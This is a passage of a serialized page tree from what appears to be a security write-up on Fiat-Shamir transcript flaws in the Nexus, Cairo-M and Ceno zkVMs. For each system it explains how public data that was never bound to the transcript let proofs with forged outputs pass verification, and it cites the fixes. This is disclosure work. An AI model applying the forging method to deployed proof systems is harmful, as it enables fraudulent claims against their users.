",{"type":19,"tag":27,"props":115247,"children":115249},{"className":115248},[],[115250],{"type":24,"value":112398},{"type":24,"value":115252},", the overall composition polynomial is linear in all ",{"type":19,"tag":27,"props":115254,"children":115256},{"className":115255},[],[115257],{"type":24,"value":112398},{"type":24,"value":115259}," values.",{"type":19,"tag":20,"props":115261,"children":115262},{},[115263,115265],{"type":24,"value":115264},"The verifier checks ",{"type":19,"tag":27,"props":115266,"children":115268},{"className":115267},[1411,1412],[115269],{"type":19,"tag":168,"props":115270,"children":115272},{"className":115271},[1417],[115273],{"type":19,"tag":168,"props":115274,"children":115276},{"className":115275,"ariaHidden":1423},[1422],[115277,115338],{"type":19,"tag":168,"props":115278,"children":115280},{"className":115279},[1428],[115281,115285,115290,115295,115305,115310,115320,115325,115329,115334],{"type":19,"tag":168,"props":115282,"children":115284},{"className":115283,"style":90477},[1433],[],{"type":19,"tag":168,"props":115286,"children":115288},{"className":115287,"style":19575},[1439,19043],[115289],{"type":24,"value":113763},{"type":19,"tag":168,"props":115291,"children":115293},{"className":115292},[19172],[115294],{"type":24,"value":500},{"type":19,"tag":168,"props":115296,"children":115298},{"className":115297},[1439,24],[115299],{"type":19,"tag":168,"props":115300,"children":115302},{"className":115301},[1439],[115303],{"type":24,"value":115304},"oods",{"type":19,"tag":168,"props":115306,"children":115308},{"className":115307,"style":90535},[1439],[115309],{"type":24,"value":476},{"type":19,"tag":168,"props":115311,"children":115313},{"className":115312},[1439,24],[115314],{"type":19,"tag":168,"props":115315,"children":115317},{"className":115316},[1439],[115318],{"type":24,"value":115319},"point",{"type":19,"tag":168,"props":115321,"children":115323},{"className":115322},[19194],[115324],{"type":24,"value":524},{"type":19,"tag":168,"props":115326,"children":115328},{"className":115327,"style":1618},[1520],[],{"type":19,"tag":168,"props":115330,"children":115332},{"className":115331},[1623],[115333],{"type":24,"value":486},{"type":19,"tag":168,"props":115335,"children":115337},{"className":115336,"style":1618},[1520],[],{"type":19,"tag":168,"props":115339,"children":115341},{"className":115340},[1428],[115342,115346],{"type":19,"tag":168,"props":115343,"children":115345},{"className":115344,"style":112589},[1433],[],{"type":19,"tag":168,"props":115347,"children":115349},{"className":115348},[1439,24],[115350],{"type":19,"tag":168,"props":115351,"children":115353},{"className":115352},[1439],[115354],{"type":24,"value":114088},{"type":19,"tag":20,"props":115356,"children":115357},{},[115358,115360,115365,115367,115372],{"type":24,"value":115359},"With ",{"type":19,"tag":27,"props":115361,"children":115363},{"className":115362},[],[115364],{"type":24,"value":112398},{"type":24,"value":115366}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":19,"tag":27,"props":115368,"children":115370},{"className":115369},[],[115371],{"type":24,"value":112398},{"type":24,"value":115373}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":19,"tag":20,"props":115375,"children":115376},{},[115377,115381,115383],{"type":19,"tag":51,"props":115378,"children":115379},{},[115380],{"type":24,"value":114244},{"type":24,"value":115382}," Fixed on October 24, 2025 via ",{"type":19,"tag":269,"props":115384,"children":115387},{"href":115385,"rel":115386},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[273],[115388],{"type":24,"value":115389},"PR #503",{"type":19,"tag":16245,"props":115391,"children":115392},{},[],{"type":19,"tag":7050,"props":115394,"children":115396},{"id":115395},"cairo-m-kakarot-labs",[115397],{"type":24,"value":115398},"Cairo-M (Kakarot Labs)",{"type":19,"tag":20,"props":115400,"children":115401},{},[115402],{"type":24,"value":115403},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":19,"tag":20,"props":115405,"children":115406},{},[115407],{"type":24,"value":115408},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":19,"tag":20,"props":115410,"children":115411},{},[115412],{"type":19,"tag":51,"props":115413,"children":115414},{},[115415],{"type":24,"value":112950},{"type":19,"tag":158,"props":115417,"children":115419},{"code":115418},"Proof {\n claim: ComponentSizes,\n interaction_claim: LogupClaimsPerComponent,\n public_data: { // \u003C- VULNERABLE\n initial_registers: { pc, fp },\n final_registers: { pc, fp }, // \u003C- forged\n clock, // \u003C- forged\n initial_root, \n final_root, // \u003C- forged\n public_memory: { program, input, output }, //output modified\n },\n stark_proof: [...],\n}\n",[115420],{"type":19,"tag":27,"props":115421,"children":115422},{"__ignoreMap":7},[115423],{"type":24,"value":115418},{"type":19,"tag":20,"props":115425,"children":115426},{},[115427],{"type":19,"tag":51,"props":115428,"children":115429},{},[115430],{"type":24,"value":112966},{"type":19,"tag":20,"props":115432,"children":115433},{},[115434],{"type":19,"tag":1344,"props":115435,"children":115438},{"alt":115436,"src":115437},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":19,"tag":20,"props":115440,"children":115441},{},[115442,115444,115450],{"type":24,"value":115443},"Lookup challenges are derived without ",{"type":19,"tag":27,"props":115445,"children":115447},{"className":115446},[],[115448],{"type":24,"value":115449},"public_data",{"type":24,"value":115451}," being mixed into the transcript.",{"type":19,"tag":20,"props":115453,"children":115454},{},[115455,115456,115461,115463,115468],{"type":24,"value":14062},{"type":19,"tag":27,"props":115457,"children":115459},{"className":115458},[],[115460],{"type":24,"value":115449},{"type":24,"value":115462}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":19,"tag":293,"props":115464,"children":115465},{},[115466],{"type":24,"value":115467},"denominators",{"type":24,"value":115469}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":19,"tag":20,"props":115471,"children":115472},{},[115473],{"type":19,"tag":27,"props":115474,"children":115476},{"className":115475},[1411,1412],[115477],{"type":19,"tag":168,"props":115478,"children":115480},{"className":115479},[1417],[115481],{"type":19,"tag":168,"props":115482,"children":115484},{"className":115483,"ariaHidden":1423},[1422],[115485,115545,115591,115637],{"type":19,"tag":168,"props":115486,"children":115488},{"className":115487},[1428],[115489,115493,115499,115504,115513,115518,115527,115532,115536,115541],{"type":19,"tag":168,"props":115490,"children":115492},{"className":115491,"style":90477},[1433],[],{"type":19,"tag":168,"props":115494,"children":115496},{"className":115495},[1439,19043],[115497],{"type":24,"value":115498},"L",{"type":19,"tag":168,"props":115500,"children":115502},{"className":115501},[19172],[115503],{"type":24,"value":500},{"type":19,"tag":168,"props":115505,"children":115507},{"className":115506},[1439,24],[115508],{"type":19,"tag":168,"props":115509,"children":115511},{"className":115510},[1439],[115512],{"type":24,"value":59160},{"type":19,"tag":168,"props":115514,"children":115516},{"className":115515,"style":90535},[1439],[115517],{"type":24,"value":476},{"type":19,"tag":168,"props":115519,"children":115521},{"className":115520},[1439,24],[115522],{"type":19,"tag":168,"props":115523,"children":115525},{"className":115524},[1439],[115526],{"type":24,"value":1120},{"type":19,"tag":168,"props":115528,"children":115530},{"className":115529},[19194],[115531],{"type":24,"value":524},{"type":19,"tag":168,"props":115533,"children":115535},{"className":115534,"style":1521},[1520],[],{"type":19,"tag":168,"props":115537,"children":115539},{"className":115538},[1526],[115540],{"type":24,"value":1811},{"type":19,"tag":168,"props":115542,"children":115544},{"className":115543,"style":1521},[1520],[],{"type":19,"tag":168,"props":115546,"children":115548},{"className":115547},[1428],[115549,115553,115563,115568,115578,115582,115587],{"type":19,"tag":168,"props":115550,"children":115552},{"className":115551,"style":90477},[1433],[],{"type":19,"tag":168,"props":115554,"children":115556},{"className":115555},[1439,24],[115557],{"type":19,"tag":168,"props":115558,"children":115560},{"className":115559},[1439],[115561],{"type":24,"value":115562},"(other transcript",{"type":19,"tag":168,"props":115564,"children":115566},{"className":115565,"style":90535},[1439],[115567],{"type":24,"value":476},{"type":19,"tag":168,"props":115569,"children":115571},{"className":115570},[1439,24],[115572],{"type":19,"tag":168,"props":115573,"children":115575},{"className":115574},[1439],[115576],{"type":24,"value":115577},"bound terms)",{"type":19,"tag":168,"props":115579,"children":115581},{"className":115580,"style":1618},[1520],[],{"type":19,"tag":168,"props":115583,"children":115585},{"className":115584},[1623],[115586],{"type":24,"value":486},{"type":19,"tag":168,"props":115588,"children":115590},{"className":115589,"style":1618},[1520],[],{"type":19,"tag":168,"props":115592,"children":115594},{"className":115593},[1428],[115595,115600,115605,115610,115615,115619,115624,115628,115633],{"type":19,"tag":168,"props":115596,"children":115599},{"className":115597,"style":115598},[1433],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":19,"tag":168,"props":115601,"children":115603},{"className":115602},[1439],[115604],{"type":24,"value":1452},{"type":19,"tag":168,"props":115606,"children":115608},{"className":115607},[1552],[115609],{"type":24,"value":1555},{"type":19,"tag":168,"props":115611,"children":115614},{"className":115612,"style":115613},[1520],"margin-right:2em;",[],{"type":19,"tag":168,"props":115616,"children":115618},{"className":115617,"style":1559},[1520],[],{"type":19,"tag":168,"props":115620,"children":115622},{"className":115621},[1439,19043],[115623],{"type":24,"value":115498},{"type":19,"tag":168,"props":115625,"children":115627},{"className":115626,"style":1618},[1520],[],{"type":19,"tag":168,"props":115629,"children":115631},{"className":115630},[1623],[115632],{"type":24,"value":486},{"type":19,"tag":168,"props":115634,"children":115636},{"className":115635,"style":1618},[1520],[],{"type":19,"tag":168,"props":115638,"children":115640},{"className":115639},[1428],[115641,115646,115703,115707,115925],{"type":19,"tag":168,"props":115642,"children":115645},{"className":115643,"style":115644},[1433],"height:1.4071em;vertical-align:-0.562em;",[],{"type":19,"tag":168,"props":115647,"children":115649},{"className":115648},[19079],[115650,115655],{"type":19,"tag":168,"props":115651,"children":115653},{"className":115652,"style":19086},[19079,19084,19085],[115654],{"type":24,"value":106329},{"type":19,"tag":168,"props":115656,"children":115658},{"className":115657},[1456],[115659],{"type":19,"tag":168,"props":115660,"children":115662},{"className":115661},[1461,19097],[115663,115692],{"type":19,"tag":168,"props":115664,"children":115666},{"className":115665},[1466],[115667,115687],{"type":19,"tag":168,"props":115668,"children":115670},{"className":115669,"style":111741},[1471],[115671],{"type":19,"tag":168,"props":115672,"children":115673},{"style":19110},[115674,115678],{"type":19,"tag":168,"props":115675,"children":115677},{"className":115676,"style":1481},[1480],[],{"type":19,"tag":168,"props":115679,"children":115681},{"className":115680},[1486,1487,1488,1489],[115682],{"type":19,"tag":168,"props":115683,"children":115685},{"className":115684},[1439,19043,1489],[115686],{"type":24,"value":1157},{"type":19,"tag":168,"props":115688,"children":115690},{"className":115689},[19200],[115691],{"type":24,"value":19203},{"type":19,"tag":168,"props":115693,"children":115695},{"className":115694},[1466],[115696],{"type":19,"tag":168,"props":115697,"children":115699},{"className":115698,"style":112021},[1471],[115700],{"type":19,"tag":168,"props":115701,"children":115702},{},[],{"type":19,"tag":168,"props":115704,"children":115706},{"className":115705,"style":1559},[1520],[],{"type":19,"tag":168,"props":115708,"children":115710},{"className":115709},[1439],[115711,115715,115921],{"type":19,"tag":168,"props":115712,"children":115714},{"className":115713},[19172,111052],[],{"type":19,"tag":168,"props":115716,"children":115718},{"className":115717},[111057],[115719],{"type":19,"tag":168,"props":115720,"children":115722},{"className":115721},[1461,19097],[115723,115909],{"type":19,"tag":168,"props":115724,"children":115726},{"className":115725},[1466],[115727,115904],{"type":19,"tag":168,"props":115728,"children":115730},{"className":115729,"style":111070},[1471],[115731,115873,115884],{"type":19,"tag":168,"props":115732,"children":115733},{"style":111074},[115734,115738],{"type":19,"tag":168,"props":115735,"children":115737},{"className":115736,"style":109705},[1480],[],{"type":19,"tag":168,"props":115739,"children":115741},{"className":115740},[1486,1487,1488,1489],[115742],{"type":19,"tag":168,"props":115743,"children":115745},{"className":115744},[1439,1489],[115746,115751,115756,115762,115767,115772,115829,115834,115843,115848,115857,115863,115868],{"type":19,"tag":168,"props":115747,"children":115749},{"className":115748,"style":111091},[1439,19043,1489],[115750],{"type":24,"value":111094},{"type":19,"tag":168,"props":115752,"children":115754},{"className":115753},[1526,1489],[115755],{"type":24,"value":1811},{"type":19,"tag":168,"props":115757,"children":115759},{"className":115758},[19172,1489],[115760],{"type":24,"value":115761},"⟨",{"type":19,"tag":168,"props":115763,"children":115765},{"className":115764,"style":112622},[1439,19043,1489],[115766],{"type":24,"value":112625},{"type":19,"tag":168,"props":115768,"children":115770},{"className":115769},[1552,1489],[115771],{"type":24,"value":1555},{"type":19,"tag":168,"props":115773,"children":115775},{"className":115774},[1439,1489],[115776,115781],{"type":19,"tag":168,"props":115777,"children":115779},{"className":115778},[1439,19043,1489],[115780],{"type":24,"value":19185},{"type":19,"tag":168,"props":115782,"children":115784},{"className":115783},[1456],[115785],{"type":19,"tag":168,"props":115786,"children":115788},{"className":115787},[1461,19097],[115789,115818],{"type":19,"tag":168,"props":115790,"children":115792},{"className":115791},[1466],[115793,115813],{"type":19,"tag":168,"props":115794,"children":115796},{"className":115795,"style":111858},[1471],[115797],{"type":19,"tag":168,"props":115798,"children":115799},{"style":106389},[115800,115804],{"type":19,"tag":168,"props":115801,"children":115803},{"className":115802,"style":106394},[1480],[],{"type":19,"tag":168,"props":115805,"children":115807},{"className":115806},[1486,106399,106400,1489],[115808],{"type":19,"tag":168,"props":115809,"children":115811},{"className":115810},[1439,19043,1489],[115812],{"type":24,"value":1157},{"type":19,"tag":168,"props":115814,"children":115816},{"className":115815},[19200],[115817],{"type":24,"value":19203},{"type":19,"tag":168,"props":115819,"children":115821},{"className":115820},[1466],[115822],{"type":19,"tag":168,"props":115823,"children":115825},{"className":115824,"style":106419},[1471],[115826],{"type":19,"tag":168,"props":115827,"children":115828},{},[],{"type":19,"tag":168,"props":115830,"children":115832},{"className":115831},[19172,1489],[115833],{"type":24,"value":500},{"type":19,"tag":168,"props":115835,"children":115837},{"className":115836},[1439,24,1489],[115838],{"type":19,"tag":168,"props":115839,"children":115841},{"className":115840},[1439,1489],[115842],{"type":24,"value":59160},{"type":19,"tag":168,"props":115844,"children":115846},{"className":115845,"style":90535},[1439,1489],[115847],{"type":24,"value":476},{"type":19,"tag":168,"props":115849,"children":115851},{"className":115850},[1439,24,1489],[115852],{"type":19,"tag":168,"props":115853,"children":115855},{"className":115854},[1439,1489],[115856],{"type":24,"value":1120},{"type":19,"tag":168,"props":115858,"children":115860},{"className":115859},[19194,1489],[115861],{"type":24,"value":115862},")⟩",{"type":19,"tag":168,"props":115864,"children":115866},{"className":115865},[1526,1489],[115867],{"type":24,"value":1811},{"type":19,"tag":168,"props":115869,"children":115871},{"className":115870,"style":112677},[1439,19043,1489],[115872],{"type":24,"value":112680},{"type":19,"tag":168,"props":115874,"children":115875},{"style":111107},[115876,115880],{"type":19,"tag":168,"props":115877,"children":115879},{"className":115878,"style":109705},[1480],[],{"type":19,"tag":168,"props":115881,"children":115883},{"className":115882,"style":111117},[111116],[],{"type":19,"tag":168,"props":115885,"children":115886},{"style":111121},[115887,115891],{"type":19,"tag":168,"props":115888,"children":115890},{"className":115889,"style":109705},[1480],[],{"type":19,"tag":168,"props":115892,"children":115894},{"className":115893},[1486,1487,1488,1489],[115895],{"type":19,"tag":168,"props":115896,"children":115898},{"className":115897},[1439,1489],[115899],{"type":19,"tag":168,"props":115900,"children":115902},{"className":115901},[1439,1489],[115903],{"type":24,"value":1442},{"type":19,"tag":168,"props":115905,"children":115907},{"className":115906},[19200],[115908],{"type":24,"value":19203},{"type":19,"tag":168,"props":115910,"children":115912},{"className":115911},[1466],[115913],{"type":19,"tag":168,"props":115914,"children":115917},{"className":115915,"style":115916},[1471],"height:0.562em;",[115918],{"type":19,"tag":168,"props":115919,"children":115920},{},[],{"type":19,"tag":168,"props":115922,"children":115924},{"className":115923},[19194,111052],[],{"type":19,"tag":168,"props":115926,"children":115928},{"className":115927},[1439],[115929],{"type":24,"value":948},{"type":19,"tag":20,"props":115931,"children":115932},{},[115933,115935],{"type":24,"value":115934},"The global check is then that ",{"type":19,"tag":27,"props":115936,"children":115938},{"className":115937},[1411,1412],[115939],{"type":19,"tag":168,"props":115940,"children":115942},{"className":115941},[1417],[115943],{"type":19,"tag":168,"props":115944,"children":115946},{"className":115945,"ariaHidden":1423},[1422],[115947,115988,116019],{"type":19,"tag":168,"props":115948,"children":115950},{"className":115949},[1428],[115951,115955,115960,115965,115970,115975,115979,115984],{"type":19,"tag":168,"props":115952,"children":115954},{"className":115953,"style":1541},[1433],[],{"type":19,"tag":168,"props":115956,"children":115958},{"className":115957},[1439,19043],[115959],{"type":24,"value":115498},{"type":19,"tag":168,"props":115961,"children":115963},{"className":115962},[19172],[115964],{"type":24,"value":500},{"type":19,"tag":168,"props":115966,"children":115968},{"className":115967},[1439,19043],[115969],{"type":24,"value":20},{"type":19,"tag":168,"props":115971,"children":115973},{"className":115972},[19194],[115974],{"type":24,"value":524},{"type":19,"tag":168,"props":115976,"children":115978},{"className":115977,"style":1521},[1520],[],{"type":19,"tag":168,"props":115980,"children":115982},{"className":115981},[1526],[115983],{"type":24,"value":1811},{"type":19,"tag":168,"props":115985,"children":115987},{"className":115986,"style":1521},[1520],[],{"type":19,"tag":168,"props":115989,"children":115991},{"className":115990},[1428],[115992,115996,116006,116010,116015],{"type":19,"tag":168,"props":115993,"children":115995},{"className":115994,"style":1541},[1433],[],{"type":19,"tag":168,"props":115997,"children":115999},{"className":115998},[1439,24],[116000],{"type":19,"tag":168,"props":116001,"children":116003},{"className":116002},[1439],[116004],{"type":24,"value":116005},"(other terms)",{"type":19,"tag":168,"props":116007,"children":116009},{"className":116008,"style":1618},[1520],[],{"type":19,"tag":168,"props":116011,"children":116013},{"className":116012},[1623],[116014],{"type":24,"value":486},{"type":19,"tag":168,"props":116016,"children":116018},{"className":116017,"style":1618},[1520],[],{"type":19,"tag":168,"props":116020,"children":116022},{"className":116021},[1428],[116023,116027],{"type":19,"tag":168,"props":116024,"children":116026},{"className":116025,"style":91566},[1433],[],{"type":19,"tag":168,"props":116028,"children":116030},{"className":116029},[1439],[116031],{"type":24,"value":1452},{"type":19,"tag":20,"props":116033,"children":116034},{},[116035],{"type":24,"value":116036},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":19,"tag":20,"props":116038,"children":116039},{},[116040],{"type":24,"value":116041},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":19,"tag":20,"props":116043,"children":116044},{},[116045,116049,116051],{"type":19,"tag":51,"props":116046,"children":116047},{},[116048],{"type":24,"value":114244},{"type":24,"value":116050}," Fixed on October 31, 2025 via ",{"type":19,"tag":269,"props":116052,"children":116055},{"href":116053,"rel":116054},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[273],[116056],{"type":24,"value":116057},"commit 92b6740",{"type":19,"tag":16245,"props":116059,"children":116060},{},[],{"type":19,"tag":7050,"props":116062,"children":116064},{"id":116063},"ceno-scroll",[116065],{"type":24,"value":116066},"Ceno (Scroll)",{"type":19,"tag":20,"props":116068,"children":116069},{},[116070],{"type":24,"value":116071},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":19,"tag":20,"props":116073,"children":116074},{},[116075,116077,116082],{"type":24,"value":116076},"Ceno splits verification into ",{"type":19,"tag":51,"props":116078,"children":116079},{},[116080],{"type":24,"value":116081},"chips",{"type":24,"value":116083},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":19,"tag":20,"props":116085,"children":116086},{},[116087,116089,116094],{"type":24,"value":116088},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":19,"tag":51,"props":116090,"children":116091},{},[116092],{"type":24,"value":116093},"tower sumcheck",{"type":24,"value":948},{"type":19,"tag":20,"props":116096,"children":116097},{},[116098],{"type":24,"value":116099},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":19,"tag":20,"props":116101,"children":116102},{},[116103],{"type":19,"tag":27,"props":116104,"children":116106},{"className":116105},[1411,1412],[116107],{"type":19,"tag":168,"props":116108,"children":116110},{"className":116109},[1417],[116111],{"type":19,"tag":168,"props":116112,"children":116114},{"className":116113,"ariaHidden":1423},[1422],[116115,116289,116462],{"type":19,"tag":168,"props":116116,"children":116118},{"className":116117},[1428],[116119,116123,116181,116185,116194,116199,116209,116214,116276,116280,116285],{"type":19,"tag":168,"props":116120,"children":116122},{"className":116121,"style":90477},[1433],[],{"type":19,"tag":168,"props":116124,"children":116126},{"className":116125},[19079],[116127,116133],{"type":19,"tag":168,"props":116128,"children":116130},{"className":116129,"style":19086},[19079,19084,19085],[116131],{"type":24,"value":116132},"∏",{"type":19,"tag":168,"props":116134,"children":116136},{"className":116135},[1456],[116137],{"type":19,"tag":168,"props":116138,"children":116140},{"className":116139},[1461,19097],[116141,116170],{"type":19,"tag":168,"props":116142,"children":116144},{"className":116143},[1466],[116145,116165],{"type":19,"tag":168,"props":116146,"children":116148},{"className":116147,"style":111741},[1471],[116149],{"type":19,"tag":168,"props":116150,"children":116151},{"style":19110},[116152,116156],{"type":19,"tag":168,"props":116153,"children":116155},{"className":116154,"style":1481},[1480],[],{"type":19,"tag":168,"props":116157,"children":116159},{"className":116158},[1486,1487,1488,1489],[116160],{"type":19,"tag":168,"props":116161,"children":116163},{"className":116162},[1439,19043,1489],[116164],{"type":24,"value":1157},{"type":19,"tag":168,"props":116166,"children":116168},{"className":116167},[19200],[116169],{"type":24,"value":19203},{"type":19,"tag":168,"props":116171,"children":116173},{"className":116172},[1466],[116174],{"type":19,"tag":168,"props":116175,"children":116177},{"className":116176,"style":112021},[1471],[116178],{"type":19,"tag":168,"props":116179,"children":116180},{},[],{"type":19,"tag":168,"props":116182,"children":116184},{"className":116183,"style":1559},[1520],[],{"type":19,"tag":168,"props":116186,"children":116188},{"className":116187},[1439,24],[116189],{"type":19,"tag":168,"props":116190,"children":116192},{"className":116191},[1439],[116193],{"type":24,"value":91354},{"type":19,"tag":168,"props":116195,"children":116197},{"className":116196,"style":90535},[1439],[116198],{"type":24,"value":476},{"type":19,"tag":168,"props":116200,"children":116202},{"className":116201},[1439,24],[116203],{"type":19,"tag":168,"props":116204,"children":116206},{"className":116205},[1439],[116207],{"type":24,"value":116208},"out",{"type":19,"tag":168,"props":116210,"children":116212},{"className":116211,"style":90535},[1439],[116213],{"type":24,"value":476},{"type":19,"tag":168,"props":116215,"children":116217},{"className":116216},[1439],[116218,116228],{"type":19,"tag":168,"props":116219,"children":116221},{"className":116220},[1439,24],[116222],{"type":19,"tag":168,"props":116223,"children":116225},{"className":116224},[1439],[116226],{"type":24,"value":116227},"evals",{"type":19,"tag":168,"props":116229,"children":116231},{"className":116230},[1456],[116232],{"type":19,"tag":168,"props":116233,"children":116235},{"className":116234},[1461,19097],[116236,116265],{"type":19,"tag":168,"props":116237,"children":116239},{"className":116238},[1466],[116240,116260],{"type":19,"tag":168,"props":116241,"children":116243},{"className":116242,"style":91064},[1471],[116244],{"type":19,"tag":168,"props":116245,"children":116246},{"style":111664},[116247,116251],{"type":19,"tag":168,"props":116248,"children":116250},{"className":116249,"style":1481},[1480],[],{"type":19,"tag":168,"props":116252,"children":116254},{"className":116253},[1486,1487,1488,1489],[116255],{"type":19,"tag":168,"props":116256,"children":116258},{"className":116257},[1439,19043,1489],[116259],{"type":24,"value":1157},{"type":19,"tag":168,"props":116261,"children":116263},{"className":116262},[19200],[116264],{"type":24,"value":19203},{"type":19,"tag":168,"props":116266,"children":116268},{"className":116267},[1466],[116269],{"type":19,"tag":168,"props":116270,"children":116272},{"className":116271,"style":90618},[1471],[116273],{"type":19,"tag":168,"props":116274,"children":116275},{},[],{"type":19,"tag":168,"props":116277,"children":116279},{"className":116278,"style":1618},[1520],[],{"type":19,"tag":168,"props":116281,"children":116283},{"className":116282},[1623],[116284],{"type":24,"value":486},{"type":19,"tag":168,"props":116286,"children":116288},{"className":116287,"style":1618},[1520],[],{"type":19,"tag":168,"props":116290,"children":116292},{"className":116291},[1428],[116293,116298,116355,116359,116368,116373,116382,116387,116449,116453,116458],{"type":19,"tag":168,"props":116294,"children":116297},{"className":116295,"style":116296},[1433],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":19,"tag":168,"props":116299,"children":116301},{"className":116300},[19079],[116302,116307],{"type":19,"tag":168,"props":116303,"children":116305},{"className":116304,"style":19086},[19079,19084,19085],[116306],{"type":24,"value":116132},{"type":19,"tag":168,"props":116308,"children":116310},{"className":116309},[1456],[116311],{"type":19,"tag":168,"props":116312,"children":116314},{"className":116313},[1461,19097],[116315,116344],{"type":19,"tag":168,"props":116316,"children":116318},{"className":116317},[1466],[116319,116339],{"type":19,"tag":168,"props":116320,"children":116322},{"className":116321,"style":111741},[1471],[116323],{"type":19,"tag":168,"props":116324,"children":116325},{"style":19110},[116326,116330],{"type":19,"tag":168,"props":116327,"children":116329},{"className":116328,"style":1481},[1480],[],{"type":19,"tag":168,"props":116331,"children":116333},{"className":116332},[1486,1487,1488,1489],[116334],{"type":19,"tag":168,"props":116335,"children":116337},{"className":116336,"style":111757},[1439,19043,1489],[116338],{"type":24,"value":6094},{"type":19,"tag":168,"props":116340,"children":116342},{"className":116341},[19200],[116343],{"type":24,"value":19203},{"type":19,"tag":168,"props":116345,"children":116347},{"className":116346},[1466],[116348],{"type":19,"tag":168,"props":116349,"children":116351},{"className":116350,"style":111772},[1471],[116352],{"type":19,"tag":168,"props":116353,"children":116354},{},[],{"type":19,"tag":168,"props":116356,"children":116358},{"className":116357,"style":1559},[1520],[],{"type":19,"tag":168,"props":116360,"children":116362},{"className":116361},[1439,24],[116363],{"type":19,"tag":168,"props":116364,"children":116366},{"className":116365},[1439],[116367],{"type":24,"value":47054},{"type":19,"tag":168,"props":116369,"children":116371},{"className":116370,"style":90535},[1439],[116372],{"type":24,"value":476},{"type":19,"tag":168,"props":116374,"children":116376},{"className":116375},[1439,24],[116377],{"type":19,"tag":168,"props":116378,"children":116380},{"className":116379},[1439],[116381],{"type":24,"value":116208},{"type":19,"tag":168,"props":116383,"children":116385},{"className":116384,"style":90535},[1439],[116386],{"type":24,"value":476},{"type":19,"tag":168,"props":116388,"children":116390},{"className":116389},[1439],[116391,116400],{"type":19,"tag":168,"props":116392,"children":116394},{"className":116393},[1439,24],[116395],{"type":19,"tag":168,"props":116396,"children":116398},{"className":116397},[1439],[116399],{"type":24,"value":116227},{"type":19,"tag":168,"props":116401,"children":116403},{"className":116402},[1456],[116404],{"type":19,"tag":168,"props":116405,"children":116407},{"className":116406},[1461,19097],[116408,116437],{"type":19,"tag":168,"props":116409,"children":116411},{"className":116410},[1466],[116412,116432],{"type":19,"tag":168,"props":116413,"children":116415},{"className":116414,"style":91064},[1471],[116416],{"type":19,"tag":168,"props":116417,"children":116418},{"style":111664},[116419,116423],{"type":19,"tag":168,"props":116420,"children":116422},{"className":116421,"style":1481},[1480],[],{"type":19,"tag":168,"props":116424,"children":116426},{"className":116425},[1486,1487,1488,1489],[116427],{"type":19,"tag":168,"props":116428,"children":116430},{"className":116429,"style":111757},[1439,19043,1489],[116431],{"type":24,"value":6094},{"type":19,"tag":168,"props":116433,"children":116435},{"className":116434},[19200],[116436],{"type":24,"value":19203},{"type":19,"tag":168,"props":116438,"children":116440},{"className":116439},[1466],[116441],{"type":19,"tag":168,"props":116442,"children":116445},{"className":116443,"style":116444},[1471],"height:0.2861em;",[116446],{"type":19,"tag":168,"props":116447,"children":116448},{},[],{"type":19,"tag":168,"props":116450,"children":116452},{"className":116451,"style":1521},[1520],[],{"type":19,"tag":168,"props":116454,"children":116456},{"className":116455},[1526],[116457],{"type":24,"value":108796},{"type":19,"tag":168,"props":116459,"children":116461},{"className":116460,"style":1521},[1520],[],{"type":19,"tag":168,"props":116463,"children":116465},{"className":116464},[1428],[116466,116470,116475,116485],{"type":19,"tag":168,"props":116467,"children":116469},{"className":116468,"style":1541},[1433],[],{"type":19,"tag":168,"props":116471,"children":116473},{"className":116472},[19172],[116474],{"type":24,"value":500},{"type":19,"tag":168,"props":116476,"children":116478},{"className":116477},[1439,24],[116479],{"type":19,"tag":168,"props":116480,"children":116482},{"className":116481},[1439],[116483],{"type":24,"value":116484},"state factors",{"type":19,"tag":168,"props":116486,"children":116488},{"className":116487},[19194],[116489],{"type":24,"value":524},{"type":19,"tag":20,"props":116491,"children":116492},{},[116493],{"type":19,"tag":51,"props":116494,"children":116495},{},[116496],{"type":24,"value":112950},{"type":19,"tag":158,"props":116498,"children":116500},{"code":116499},"ZKVMChipProof {\n r_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n w_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n lk_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n tower_proof: [...],\n gkr_iop_proof: [...],\n}\n",[116501],{"type":19,"tag":27,"props":116502,"children":116503},{"__ignoreMap":7},[116504],{"type":24,"value":116499},{"type":19,"tag":20,"props":116506,"children":116507},{},[116508,116514,116515,116521,116522,116528],{"type":19,"tag":27,"props":116509,"children":116511},{"className":116510},[],[116512],{"type":24,"value":116513},"r_out_evals",{"type":24,"value":471},{"type":19,"tag":27,"props":116516,"children":116518},{"className":116517},[],[116519],{"type":24,"value":116520},"w_out_evals",{"type":24,"value":3923},{"type":19,"tag":27,"props":116523,"children":116525},{"className":116524},[],[116526],{"type":24,"value":116527},"lk_out_evals",{"type":24,"value":116529}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":19,"tag":2869,"props":116531,"children":116532},{},[116533],{"type":19,"tag":47,"props":116534,"children":116535},{},[116536,116541,116543,116549],{"type":19,"tag":51,"props":116537,"children":116538},{},[116539],{"type":24,"value":116540},"GKR/Tower equation",{"type":24,"value":116542}," (linear in 